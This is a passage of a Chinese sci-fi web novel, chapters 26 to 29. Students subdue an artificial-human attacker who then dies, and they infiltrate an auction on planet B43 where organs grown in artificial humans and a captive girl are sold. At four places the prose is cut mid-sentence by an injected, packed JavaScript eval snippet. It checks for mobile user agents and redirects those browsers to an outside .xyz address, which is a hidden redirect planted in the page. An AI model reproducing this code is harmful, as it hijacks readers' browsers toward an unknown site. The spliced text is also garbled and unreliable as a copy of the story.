那个少年以一个人类根本不可能达到的诡异速度和角度向大门冲去。期间略过试图抓住他却只拽下一片衣角的路易、被刀光逼退的丹尼尔、弹出各种抓捕设备却被他一一躲过的机器人,以及一众根本没反应过来的安保人员,到了门口。 眨眼间瞬息万变,随着安妮一声惊呼,白皙的颈项与刀光之间,只余毫厘。 26.梦工厂 在尚未有人做出应对动作之前,林沅已经准备好对林AA下令直接击毙。 倘若要让安妮被挟持带走,她觉得在这里直接解决少年的胜算更大。 在所有人都感到绝望的电光火石间,安妮一瞬不瞬地看着冲向自己的少年,像是慌张到反应不过来一般,松手让盛着食物的袋子掉到地上,在仿佛被无限延长的寂静与恐慌中发出“啪”的一声轻响。 可在那抹寒光即将杀尽最后一点距离时,安妮却比少年速度更快地微微后仰,一把抓住他持刀的手腕,借着来人冲锋的力道侧身将他甩向门外,却并没有松开,而是瞬间反转手腕,再次将人往自己的右手方向大力拉来,狠狠惯向地面。 少年被她的怪力拽着转了一个圈,手腕正好卡在地面的门框边上,发出一声让人牙酸的“咔嚓”声。 他的手腕硬生生被安妮掰断了。 全场鸦雀无声。 “还愣着干嘛,快抓住他呀!”莉莉丝发出一声堪称凄惨的尖叫。 所有人这才反应过来,乱哄哄一拥而上。 在他们冲过来之前,差点疼晕的少年还在试图反抗,安妮却已经屈膝狠狠卡在他的后脖颈上。他的咽喉挤压着地面,看面色就快被憋得断气了。 众人终于七手八脚地重新将他捆住,这次用了更多的绳索,都是越挣扎越紧那种。 林沅担忧地冲到安妮身边,仔细检查了一遍。 “安心啦,我没事的。”她轻轻抹了抹身上蹭到的灰尘,有些羞涩地对林沅笑,看起来温柔又腼腆,“忘了跟你说,我爸是职业格斗教练,档案里都写了的。” 混乱中的路易听到这句话,似乎向这边疑惑地看了一眼,但并没有声张。 “小心点,别让他自尽。”丹尼尔在一旁嘱咐安保人员。立刻便有人上前,卸掉了少年的下巴。 被卸了下巴的少年却张开嘴,诡异地“咯咯咯”笑了起来。他挣扎的幅度慢慢变得越来越小,脸色也逐渐青黑。 “不好,快给他注射解毒剂!”林沅着急地喊道。 又是一阵手忙脚乱。解毒剂很快被注射进少年体内,却为时已晚。他的面色越来越差,喉咙中慢慢有鲜血呛咳出来,弥漫了稚嫩的侧脸。 他堪称怨毒的眼神越过人群,死死盯着安妮与林沅的方向。安妮的脸色出奇的冷漠,一瞬不瞬地回望过去,眼里是林沅从未见过的冰冷和杀意。 那一瞬间她突然觉得面前这个人离自己非常遥远,仿佛隔着万年不化的坚冰和冰冷彻骨的深海。 呛咳和挣扎的声音全都渐渐平息。一切再次归于寂静。 丹尼尔走上前,伸手放在少年颈侧。半晌,摇了摇头。 莉莉丝叹了口气,走上前想要把外套盖在他颧骨突出的瘦弱脸颊上。 在面容即将全部被遮住前,林沅突然看见了什么,上前按住了莉莉丝的手:“等一下。” 所有人都好奇地看着她。 林沅随手扯了一个幸存的实验室专用手套,将少年颈侧破破烂烂的衣服稍微往下拽了拽。 在嶙峋的锁骨上,赫然刺着一朵金色鸢尾花。和一行非常不起眼,甚至有点模糊的英文小字。 众人面面相觑。其中一位看起来像是领导的安保人员上前阻止了林沅的动作:“抱歉,这个……尸体,我们要带回去做尸检,看一下还有没有有价值的线索。” 莉莉丝抱臂冷笑:“尸检?你们可别再把尸体弄丢了就好。” 那位领导涨红了脸色,半天憋不出话来,只是沉默地示意属下把尸体带走。好在也并没有人真的想要阻拦他们。 林沅知道林AA和林BB必然已经拍到了影像。等所有安保人员和尸体一起离开后,路易也非常不客气地打开自己随身的虚拟屏,投射在半空中:“怎么说,资料共享一下吧?你可别想着自己查这件事。” 机器人们开始尽职尽责地打扫现场。五个人类却放弃了所有收拾的意图,只聚在一起研究林沅这边拍到的影像。 林沅让像素更好的林BB和路易的虚拟屏联网,开始仔细拖动进度条,最后停留在她检查尸体那一幕。 手动放大屏幕后,虚拟屏自动读取并复原模糊的细节。最后在金色鸢尾花的纹身下,他们终于完全看清那行英文小字。 B43,造梦工厂,离线三代产品A左,身体强化。 “B43?怎么这么耳熟?”安妮又回到那种活泼中带点迷糊的状态。她一边给其他人分发自己带来的食物,一边喃喃发问。 说实话大家现在都没什么心情进食,林沅也完全感觉不到之前的饥肠辘辘。她思考了一会,恍然道:“我们买礼服的那个店员,她说她来自B45星。” “字母开头的一系列星球在帝国的功能分类里,是专门作为生产流水线使用的。从A到Z,代表着不同的产品门类。”丹尼尔万年不变的灰色眼睛专注地看着屏幕,平静地解释道。 莉莉丝好奇地小声发问:“那么B就是代表着……” “人造人。”路易抢先接了话。 众人默然。 “为什么B43生产的人造人会来攻击我们的实验室?按理说他们都应该有自己固定的职业和工作岗位,不可能离开母星的……掌控。”丹尼尔的眼神中透露出一点罕见的疑惑。 “掌控?”莉莉丝冷笑一声,“说的这么文雅,是监视吧?” “我一直不能理解。”她摊摊手,全然不顾周围两位帝国原住民一言难尽的脸色,“帝国已经这么强大了,在智能机器人和现代科技如此发达的情况下,其实大可不必依赖人口红利。为什么会这么热衷于培育人造人?” “大概只能是因为在某些领域,其实人力要比机器的成本更低吧。毕竟对这些星球来说,机器需要高昂的采购价格,和维护成本。而人类,你把他们放在那里,他们自己就能成长起来成为劳动力了。”安妮忍不住和莉莉丝一唱一和,全然不顾林沅偷偷给她递的眼色。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804565|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么后面的字是什么意思呢?”路易一改之前的眼高于顶,满脸尴尬,无力地试图转移话题,“造梦工厂我倒是隐约听说过,是B43星著名的特殊人造人工厂。他们主张通过基因改造,给予人造人更高的起点和更多的特权。不过帝国人造人本来就是敏感话题,官方一直避免给他们的身份定性,这件事就被无限搁置了。” “敏感话题?”林沅有些惊异,忍不住发问,“可是我看那位礼服店的人造人似乎生活的还算不错呀?” “那大概是因为B45专门为首都星提供无任何特殊加成的第三产业人造人吧。”路易叹了口气,“这个领域合格的机器人造价都太高昂了,而且完全不如人类会随机应变。所以首都星源源不断地有大量岗位需要他们。” “比起那些只能在流水线终其一生的人造人,他们当然是幸福的。” 林沅不欲让大家再继续讨论相关话题,主动打断了其他人的思绪:“离线三代产品……这个应该没什么好说的,只是迭代的编号。这个A左看起来似乎有些奇怪,难道还会有A右A前A后吗?” “身体强化倒是比较好理解。”安妮接了林沅的话,继续说道,“估计只是标记每位个体的基因强化方向。” “说起来,帝国的人造人是有生物芯片和登记制度的。”丹尼尔一边仔细回想着,一边打开自己的虚拟屏查询。他似乎总对一些隐秘的细节格外感兴趣。 他在人造人登记库中尽力搜索着,却因为范围太广而出现了无数页符合条件的资料。 “让系统自己爬一下名单吧。”莉莉丝建议道,丹尼尔立刻照做。 他们似乎终于恢复了一点胃口。一群人围着两台虚拟屏一边看系统自己跑数据,一边吃着简单的午饭。 终于系统按丹尼尔描述的条件锁定了大概百人左右,他们一页页一起分析过去,最终停留在一页双胞胎的档案上。 三代离线A左,三代离线A右。 对应的照片,分别是那位瘦骨嶙峋的少年,和看起来白白净净,似乎从未受过任何苦,只是眼神非常空洞的少女。 “那么,她的身体加成是什么呢?”莉莉丝好奇地往下翻阅资料,终于在角落里找到一行十分不起眼的小字:“器官再生。” 众人的脸色又在一瞬间变得非常难看。尤其是那两位身为帝国公民的路易·塔西尼和丹尼尔·冯·桑德兰。 连林沅都开始忍不住怀疑,也许在去梅星之前发现的那些人类尸体正是出自帝国的手笔,亨特兰反而是无辜的呢? “不管了,这件事我一定要查到底。”路易咬牙切齿地说道。 “你查?怎么查?你连混进B43的人造人工厂都做不到吧?”也许是心情不佳的缘故,莉莉丝嘲讽模式全开。 “去B43星实地看看这个造梦工厂,见见这位尚未离开的‘三代离线A右’。”路易的目光藏着深深的怒意和略显青涩的雄心壮志。 “你们……谁有兴趣和我一起?” 27.拍卖会 “算我一个!”安妮手忙脚乱地扔下吃了一半的三明治,跃跃欲试地举起手,“这么好玩的事怎么能不带上我呢?” 林沅现在怀疑她是不是人格分裂,几十分钟前那个杀伐果断冷酷无情的姑娘像是她一个人没睡醒时的幻梦:“安妮,我们今天还约了检修机器人到家里来呢……” 她试图编一个理由,不想让安妮参与其中,这毕竟是帝国的内政。 虽然安妮没有笨到直接反驳她,但也是一脸的迷茫:“什么……哎呀没关系,这听起来多刺激啊!这种事我们怎么可以错过!” 她看起来铁了心要参与进去,还转头去问路易:“你们不歧视外国人或者外校生吧?” 路易不太能跟得上她跳跃的脑回路,但还是郑重的答应道:“当然!你愿意加入进来,那再好不过了。” 说着他又看向丹尼尔,目光中隐藏着些许期待:“……你们呢?” 大家当然不可能放他自己去做这样危险的事。眼看劝不动这个兴致勃勃的发起人,加上林沅又担心安妮,也不好直接在这么多人面前对她说我不允许你去。 于是最后踏上前往B43星的宇宙飞船时,竟然是五个人全员到齐。 好在他们也算有备而来。路易拿出五张精美的请帖,上面用一种繁复古老的文字书写着大段冗长的邀请:“从我爸那里偷偷拿来的,说是B43星什么一年一度的盛会,正好在这几天。” 丹尼尔努力辨认了一会,对大家解释道:“这是一张不记名的拍卖会邀请函,要求每个人化妆进入。” 林沅看着右上角的金色鸢尾花沉默不语。丹尼尔看出她的疑虑,继续解释道:“这是从前帝国还是协会时期的国花……如今很多外国集团或者组织也喜欢使用这个标志,没有什么比较特殊的含义,也不能代表任何势力。” 林沅没有说话,心里却不是很赞同。也许金色鸢尾花的象征意义的确如丹尼尔所说,已经泛滥。但这其中一定潜藏着某种势力,使用金色鸢尾花做标记,作为彼此联结的暗号。否则无法解释金色鸢尾花这个意象与人造人之间频繁出现的联系,她不相信有这样的巧合。 莉莉丝和安妮的关注点到是不在这上面,她俩热烈地讨论起来:“化妆?怎么化妆?” “Cosplay吗?我能扮演动漫角色吗?”安妮看起来有点兴奋。 “啊,这应该是不行。”丹尼尔平时冷静睿智的灰色眼睛流露出一点大概是无奈的情绪,“我想这个请帖上文字的意思是,需要像古地球中世纪欧洲那样正式的晚礼服,并且戴上面具。” “我都已经帮你们准备好了。”路易招招手示意机器人把晚礼服和面具带上来,“为了神不知鬼不觉,我连飞船都是租的,用的别人的身份信息,保证不会给你们带来任何麻烦。” “虽然很感谢你准备这么充分,但是……”林沅和另外两位姑娘检查了一下他带来的东西,“你的审美好像有点可疑。” “我就说是cosplay!这不就是白雪公主cos嘛。”安妮兴奋地拿起一件蓝黄撞色的裙子,要求机器人帮她摆出镜头照一下,“我感觉还不错。” “白雪公主是什么?”路易有些疑惑地问道,“这些衣服我怕人看出材质来路,不敢选特别好的,委屈你们了。” “……哦,不重要,你记得是美女就行了。”安妮插卡打诨着把话题转移了过去,林沅不动声色地看了她一眼,没说什么。 几人分别挑好了衣服,迅速换好。飞船的行进速度很快,没多久就会到达B43星,他们没有太多时间可以浪费。 最终在走下飞船之前,他们甚至为这个五人组合编好了新的身份和人物关系。 白色头发白色睫毛的丹尼尔身穿一身和眼眸一样浅灰的西装,套着黑色的马甲背心,俨然一位严谨庄重的绅士。他称自己是来自首都星某位勋爵贵族家的小儿子,带着自己新交的“女朋友”——亚麻色头发浅褐色眼睛,将头发从两侧编起来束在脑后,其余发丝随意披散的安妮。 他俩戴着一黑一白对称的小丑面具,设定是情侣间的情趣。 林沅则选了一件以极浅的粉色为底,绣着玫瑰图案的公主裙。黑发被她尽数盘在脑后,带着一个只遮住眼周的彩绘面具。她一手牵着穿深绿色荷叶边连衣裙、金发梳成两个麻花辫的莉莉丝,表示这是自己养在乡间家族大宅的堂妹,因为她没挑到喜欢的面具,就只戴了一个白色的口罩。 为了丰富人设,莉莉丝甚至还在自己的怀里抱了一只泰迪熊。 路易则低调地扎起他那头显眼的棕栗色卷曲长发,梳成一个马尾坠在脑后。他穿着一身最简单的黑色西装,在耳上戴了不太显眼的通讯设备,下半张脸被银灰色的面具遮住,人设是两位贵族小姐的保镖。 他们很顺利地到达了请帖上指定的地点。飞船一路经过B43星的城市主干道,却几乎见不到任何看起来像是居民区的建筑,也几乎见不到行走的人。但是一片片像灰色盒子一般的工厂延绵不绝,直至视线尽头,铺满整个天际线。 这是一个纯粹的工业王国。 一行人浩浩荡荡地下了飞船,还来不及在心里复习自己的人设,便被面前气势恢宏的建筑震惊到。 这大概是整个灰色城市中唯一的一抹亮色。倒扣的巨大圆球形建筑用无数片屏幕做幕墙,以流动的星海为景,流淌着幻梦般的色彩。 五个人很顺利地在门口的安检处登记,分别将自己的请帖与伪装的姓名绑定。 进门后狭长的走廊里,两边的灯光映照着地面华美柔软的红色地毯。莉莉丝小心翼翼地踩上去,小声问道:“这么容易,什么都不盘问?我还以为会挺危险的。” “看来这门生意很需要客人呢。”林沅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809531|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着灯光检查自己那张请帖上新加上去的烫金刻字,她刚起的假名“宁禾”。 路易尽心尽力地为他们每个人分发一张卡片:“这是一张无上限的卡,拍卖需要资金保底……但是你们别真拍啊,咱们只是来调查的,拍卖会未必会有收获,也不是全部的重点。” 安妮坏心顿起:“真拍了会怎么样?” “欠债还钱!”路易眼神冷漠,很不客气地把卡片拍在她手心,惹得她一阵不满。 他们跟随人流一起进入举行拍卖会的主厅。 空中飘浮流动的灯盏映照着金色的光,反射在金碧辉煌的陈设上,让整个大厅看起来流光溢彩,充满了金钱的奢靡气息。 一圈圈暗红布料、金色扶手的沙发座椅从中心向外铺展,越来越高,大概二十几层,却尚且不到整个圆球形建筑的五分之一。 在整个圆球的内壁上,还有一些看起来像包间的单独房间,如同悬挂在树枝的蜂巢,只对着中央拍卖台的位置露出一个狭小的窗户,还用厚帘子严严实实地挡住。 中间的圆形拍卖台也以朱红地毯为底色,闪着金色的细光。整个拍卖台大概直径几十米,中间还有一个相对较小的木色圆台,上面放了一个金光闪闪、爬满了新鲜花枝的巨大鸟笼。 里面暂时空无一物,但很明显,这是一会用来陈列拍卖品的展台。旁边一个椭圆球的银色机器人飘在半空,不时地扫视着周围,似乎是在等待着什么,眼睛部位发出幽幽的绿色光芒。 座位有编号,他们五个人并没有分在一起。林沅带着“妹妹”和“保镖”坐在离鸟笼更近的那一面,大概四至五排的位置。“小情侣”则在他们相对的另一侧,大概十排左右。 “为了不引人怀疑,我给咱们五个人交的资产认证并不完全相同。”路易低声和林沅与莉莉丝解释。 “那看来是按照资产规模来排座了。”林沅点点头,“没关系,这里不屏蔽通讯。” 她打开耳朵里的通讯设备,“咱们五个随时保持联系,有状况就喊人。” 丹尼尔和安妮的声音先后从耳麦中传来,表示自己明白。 参加拍卖的客人陆陆续续进场,细小的交谈声“嗡嗡”攒动,此起彼伏。林沅突然感觉身边的姑娘似乎有些紧张,她温柔地握了握莉莉丝的手,小声问她怎么了。 “我忘记了。”莉莉丝有些懊恼,“我只想着咱们瞒过检查就好了,却没想到这个拍卖场是可能会有熟人的……我的伪装好像太容易认出来了!” “熟人?”林沅心下一紧,“你看到了猎盟的人?” 莉莉丝也感觉有些尴尬,支支吾吾地说道:“好像是理事会的某位秘书官……在咱们右手边……大概两点钟方向,第三排,那个戴着黑色礼帽的男人。不过我也看不太清楚,但是他的棕色八字胡太明显了,一侧头我就能看见,感觉实在相像。” 28.捕猎者 “没事,别紧张。”林沅再次向莉莉丝的方向倾身,低声安抚她。然后不动声色地示意她交换位置,坐到路易和自己中间。 林沅还特意微微向前倾身,以防那位猎盟来的官员偶然回头见到莉莉丝。 拍卖场中慢慢座无虚席。林沅等人在路易的授意下,将卡片与拍卖场分发的手环扫描连接,座位面前的虚拟屏幕上立刻便出现了自己的姓名、编号、资产、可拍卖金额等信息。 场上的灯光突然熄灭了一半,流淌的悬浮灯也不再移动。那种让人迷醉的富丽堂皇,仿佛被人按下了静止键。 “嗡嗡”的人群也在一瞬间安静下来,所有人都开始不动声色地观察拍卖场中央,余下灯光汇集的地方。 “按照我收集的情报,那位姑娘会作为最后的‘商品’出现。”路易趁拍卖开始前的几分钟,低声在通讯中说道。 “如果我的情报有误,那么再直接去工厂,我会联系一位内应,带大家见到她。” 安妮小声提问:“那……我们要拍下她吗?” “不行。我们的资产虽然虚假,但资金来源可查,不要暴露自己。可以趁她被拍下带走前,想办法在后台见到她。只要问出我们想要的东西就走。” 一种粘稠的窒息在通讯器间蔓延。对于一位真实存在的命运,似乎不是所有人都能做到视若无睹。但这一切毕竟都是路易的功劳,所以并没有谁出声反驳。 他们终究不是救世主,不能拯救所有人。 一阵优雅又奇诡的特殊音调响起,是一种很难形容的,正好夹杂在“动听”与“难听”之间的曲调。有点像噪音污染,但又很洗脑。 最后几盏悬浮灯停止移动,光线达到自从他们进来后最暗的一瞬。 那位悬浮机器人的绿色眼睛作为投影灯,扩大了照射的范围,在舞台中央投射出一片虚拟的人影。 修长、优雅的拍卖会主持人,带着遮住半张脸的面具,出现在拍卖场中央,那个巨大的鸟笼旁边。 所有人的目光都聚焦在她身上。 她的声音似乎经过特殊处理,带着一种电流的“沙沙”声,但仍然非常动听,气息沉稳,咬字清晰:“感谢诸位赏光,莅临B43星球一年一度的拍卖盛会现场。” 她先用英文说了一系列客套的开场白,又用中文和法语各自重复了一遍。但并不冗长,也不会让人觉得烦闷。林沅等人的注意力都被吸引到她身上。 “总觉得这个人有一点眼熟……”林沅在通讯频道喃喃。 丹尼尔提醒她:“不必太过在意。这个影像恐怕也经过特殊处理。” 由于灯光暗下来的缘故,莉莉丝也放松了许多:“我也感觉似乎在哪里见过这个人。你说得对,她的影像绝对经过特殊处理。但凡我见过一面的人,从来没有想不起来的道理。” 交谈间,灯光再次变动。聚光灯从主持人身上转向她旁边突然出现的小展览台。一件件精美的高端工艺品被流水线一般地展示、拍出,大概都是一些琉璃陶瓷、珠宝首饰、智能家居之类。 期间不停地有摄像机器人对着拍卖场舞台中央的各个角度拍摄录像。 “就这样吗?好像没什么特别的呀?很寻常的拍卖。”安妮有些百无聊赖地问道。 路易也开始怀疑自己的情报是否有误。直到最后一件拍卖品出现,似乎一切都极度正常,正常到有些可疑。 “这个拍卖会如此出名,总不能是因为这些无聊的工艺品吧?”林沅似乎并不心急,安慰众人,“我们再等等看。” 主持人甚至宣布了拍卖会结束。摄像也停止了录像。但仅有少数人离场,空着的座位很快也被几个匆匆赶来、风尘仆仆的身影补上。 摄像机器人停止工作,所有多余的灯光全部熄灭。整个拍卖场上,只有一座最大的悬浮灯,照耀着整个金丝鸟笼,反射着血红地毯上金色的细闪。以及旁边悬浮机器人绿色的投影光线,仍然投射出主持人如同画中女鬼般倩丽但危险的身影。 一阵更加激昂但奇诡的音乐响起,仿佛电影中反派登场的序章。主持人微微仰头,没有面具的那半张脸,唇角勾起一个舒展的弧度。她向身体两边摊开双手,裙子作为衣袖的纱带从臂弯上柔软地垂至地面。 “什么姿势,肖申克的救赎?”林沅忍不住下意识吐槽道。 “那是什么?”频道里响起好几声疑惑的提问。 她赶忙糊弄过去,安抚大家,示意众人安静。 所有的摄像机器人突然将摄像头切换成扫描仪,开始扫视全场,将所有外带的通讯设备一一精准屏蔽。 “不好,先把耳麦关机!”众人在路易的示意下关闭通讯频道。机器人失去耳麦的信号源,没有识别出通讯设备,但他们显然也无法再使用耳麦沟通了。 两边的通讯被切断,林沅不由得担心起来。路易自己也有些紧张,但仍然安慰她和莉莉丝:“没事,别紧张,丹尼尔不管怎么说也是军校出身,你那位联盟来的同学更是……”他有些一言难尽地看了林沅一眼。 林沅点点头,让自己镇静下来:“没事,拍卖场一共也就这么大,我们随机应变吧。” 她握住莉莉丝的手。安慰她,同时也是给自己力量。 主持人优雅神秘的语调再次响起:“很抱歉,一点开场的‘小惊喜’,请大家不必惊慌。” 台下的众人似乎也见惯了这种场面,并没有像林沅他们那样紧张。 “冗长的前奏已然结束,真正的盛会……现在开始!”主持人的声音不再镇静,而是像平静海面下翻滚的热浪,带着难以形容的、被尽力压抑但仍然遮掩不住的兴奋。 观众席中也逐渐响起一阵越来越激动的“嗡嗡”声,如同抑制不住的蜂群。 “安静,请大家安静。”主持人煞有介事地举起了拍卖槌,敲在了投射出的拍卖桌上。 跃跃欲试的蜂群被按下了静止键,但仍然有种让人恐惧的、被压抑住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822652|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的兴奋和疯狂。 那种猎人看见猎物般的嗜血气息,在观众席间蔓延。林沅他们,是全场为数不多的“绵羊”。 “接下来的拍卖,如同各位老顾客们熟悉的那样,有些特殊。”主持人的声音也充满了被压抑的兴奋,仿佛顺着电流声溢满全场。 “但为了照顾新来的朋友们,请大家稍安勿躁,容许我介绍今天的拍卖规则。” “这是真正的盛会,向诸位尊贵的来宾揭开了它伪装的面具。此刻的一切将不会有任何影视资料的流传。诸君,便是现代科技飞速发展下,真正的、隐秘的受益者。” 她挥动自己向着拍卖台的左手。拍卖台上出现一只投射的眼睛影像。但似乎并不是真实的眼睛,只是动画建模。 “诸位不必担心任何生物信息等方面的因素。我们会为成交的拍卖者,量身定做他所需要的一切。无任何副作用,无任何排异反应。这是任何捐赠和售卖都达不到的……真正的器官移植……如同世界上有另一个你。” 主持人的眼神愈发癫狂,写满了对未来朝圣般的感激。 林沅等人被震惊到失语。 “帝国的每一任皇储都拥有自己的人造人‘兄弟姐妹’,也就是无数个移动器官库。我们的国家机构却立法禁止人造人用于器官买卖,这是科技的浪费、和特权的滋生!” 林沅有些无语于她的歪理邪说。但不得不承认,对于威廉所谓的人造人“兄弟姐妹”模式,她也一直心有疑虑。 但只有林沅在内的极少数人知道,此时此刻埋在枢密院地下的,只有皇帝基因复制的人造人了。虽然对威廉来说也是可能可用的器官库,却并不完全是适配他本人的生物信息。 主持人却并不知道林沅的心声,只是继续兴奋地鼓动着:“我们的盛会,便是为诸君,带来人间的公平与正义。” “人人可以享用适配的器官,不必再为衰老和疾病忧愁。这才是科技存在的真正意义——” “——我们终将用凡人的力量,走向神明的永生!” 她的拍卖槌随声音落定,仿佛为静止的拍卖场按下沸腾的开机键。 一瞬间观众席人声鼎沸,仿佛人人都是“公平正义”的卫士。却没有人想过,器官从哪里来?人造人享有他们所谓的“公平”与“正义”了吗? 建立在血腥之上的特权,却自诩为救世。 在沸腾的人声中,金色鸢尾花的巨大背景在整个圆顶的屏幕上缓缓浮现。 林沅从进来时便一直疑惑为什么场内的屏幕不打开使用,现在终于明白,原来是为了这一刻的“朝圣”。 人们对着那朵巨大的金色鸢尾花标志欢呼雀跃,仿佛迎接成神的通天之路。 躁动、癫狂,写在每一个人脸上。林沅他们,成了整个场中格格不入的看客。 主持人一锤定音:“所有器官出现的次数不定、顺序不定,一切请诸君各凭本事。B43星真正的拍卖会——现在开始!” 29.笼中鸟 眼睛、心脏、肝脏、手脚、血液,甚至是整个完整的人。所有能想到的、想不到的,都一一出现在拍卖台上。 台下的观众像看见腐肉的鬣狗,成群结队地撕咬、声势浩大地争斗。 每一个器官的价格,都会被炒到一个让人咂舌的天价。 “他们都疯了……”莉莉丝喃喃道。18岁的小姑娘没有见过这样的阵仗,只是揽着林沅的臂膀,紧紧贴在她一侧。 “别怕。”林沅温柔地安抚她,仿佛永远不受外界的干扰。 莉莉丝却有些难过:“所以那个小姑娘……也是这样的器官培养皿之一吗?在这里被生产出来,然后长大,像牲畜一样被工厂和买家收割?” 林沅却摇摇头,否认道:“恐怕……要有些不同。” 她帮莉莉丝分析现状:“这里拍卖的,是器官的培养权。也就是说,是‘预定’。他们将成交的买家信息记录下来,再为他陪养与自身生物信息完全一致的人造人。养在这里,作为自己的移动血包,和器官库。” “被预定的器官会按照买家的要求精心呵护,其余的部分,恐怕会流入黑市。寻找付不起拍卖会价格,却仍然符合配型的买家。” “而那个小姑娘,似乎更像是为了基因试验而出现的。并不是被‘预制’的拍品。” 莉莉丝年轻的心压抑不住深深的恐惧和愤怒:“这还是人吗……他们,还有人性吗?” “人造人,对他们来说,只是一个可有可无的器官,和价高者得的商品。”路易冷峻的声音响起,表面毫无感情,林沅却也能听得出他压抑着的愤怒。 对死亡的恐惧和永生的渴望会压倒几乎一切的人性。此时此刻,路易和莉莉丝年轻的心仍然为人造人的权益而跳动,然而将来呢? 到了他们各自成为星际帝国与猎盟高层,并逐渐老去的那一天,他们会成为这场拍卖的掘墓者,还是台下疯狂举牌的客人? 林沅不知道,也不敢深思。 随着最后一件商品的成交,器官拍卖的轰动逐渐平息,但拍卖会似乎远没有结束。 看着那个始终没有用上的金丝鸟笼,林沅内心的不安愈演愈烈。 终于,主持人还是在做完陈词总结后,转向了鸟笼这边。 她优雅的身形投影在鸟笼中央,似乎成了一个被禁锢的囚徒。 整个场景充满着难以名状的氛围。台下的看客再次兴奋地“嗡嗡”涌动。 鸟笼中的那片圆台地面却被突然打开。一个缓缓上升的升降台,带着一个被手腕粗细的铁链死死禁锢的少女,缓缓来到众人视线中央。 “是她!那个闯进实验室的人的妹妹!”莉莉丝用气声尖叫,小幅度紧张地摇晃林沅的臂膀。 主持人的投影就在少女的身边,仿佛能触碰到她一样,用优雅白皙的双手“抚”过少女的侧脸。 少女面无表情地坐在鸟笼中。比林沅他们在资料中看到的更加美丽,也更加无神。 她有着与双胞胎哥哥一样的发色和瞳色。浅金的长卷发柔顺地垂至地面,浅绿色的眼睛无神却温柔,像是刚刚冰雪消融的春水,静默着缓缓流动。 白皙到透明的皮肤几乎能看出潜藏的青色血管,让她整个人看起来更加虚弱却美丽,如同荆棘丛中歌唱的囚鸟。 莉莉丝开始焦急地摇晃路易:“我们救救她,好不好……我会让我爸爸把钱还上的。” 路易却摇摇头:“没事……你随便刷,不用还钱。” 林沅和莉莉丝都被他震惊到,一时没有反应过来。路易继续镇定地补充:“但我们不要互相抬价……你们记住丹尼尔还有安妮的编号,我猜他们也会竞价的。” 莉莉丝小小地欢呼了一声。林沅的心里也莫名长舒了一口气。她也已经想好了,先解决眼前的事,回头再想办法还路易的人情和钱。 没办法,这些还年轻的跳动的心脏,知道自己做不了救世主,却仍然做不到成为一个袖手旁观的看客。 台上的主持人还在无动于衷的少女身旁陈词:“这是我们今天的最后一件商品。也是这么多年来,B43星拍卖的人造人中,我最喜欢的一位。” “这是能证明人力比肩神明的,最有力的造物。她的基因进化方向是——”主持人旋转了挂在少女脖子上的基因铭牌,展示上面的刻字,“——器官再生。” 台下一瞬间像是轰然滚沸的静水,交谈声此起彼伏。 “这是一件极其偶然且不可复刻的造物。”主持人耐心地解释拍卖少女的原因,“在她出现后的这么多年来,B43星的每一个研究基地都想尝试复刻这样的造物奇迹。” 她遗憾地补充道:“然而这么多年来,我们再未复制或生产出这样堪称‘神迹’的造物。基因数据已然在基因库中尽数登记,研究人员们也仍然在前赴后继地努力。” “而这位最初的产品。我们B43星,愿意把她作为最精心的惊喜,回馈给各位老顾客。”她拍了拍手,灯光尽数聚焦,把穿着公主裙的姑娘身上的每一处细节显露无疑。 她像是失去庇佑的芭比娃娃,无声地坐在舞台中央。 拍卖落槌,叫价开始。 金钱像一串没有意义的数字一样,以一种令人发指的速度疯长到让人咂舌的地步。 “我们的钱……恐怕不够。”路易咬牙切齿地说道。 林沅的心里也漫上让人窒息的恐慌。他们可用的金钱数字即将告罄。 “不管了,大不了我们抢下她!回头再让我父亲向买家赔偿吧!”黑暗中,莉莉丝的眼睛仿佛灼烧着烈烈火光,坚定地看着林沅和路易。 其实林沅心里并不太想同意这样冒险的方案。但此时此刻,即使划爆了路易的卡,似乎也无济于事。 他们别无选择。 “可是,怎么抢,凭我们五个人?和林AA林BB?”林沅实在有些不放心。 路易和莉莉丝也陷入难言的沉默。 拍卖会彻底结束。那位姑娘被以天价成交。 人群逐渐嘈杂离场。在一片混乱中,那位姑娘正在被从鸟笼中降回地面。 电光火石间,所有的悬浮灯、显示屏突然被瞬间依次击破熄灭,连悬浮的机器人也被不明武器擦出闪亮的火光,坠落在地。整个拍卖场陷入极度的黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 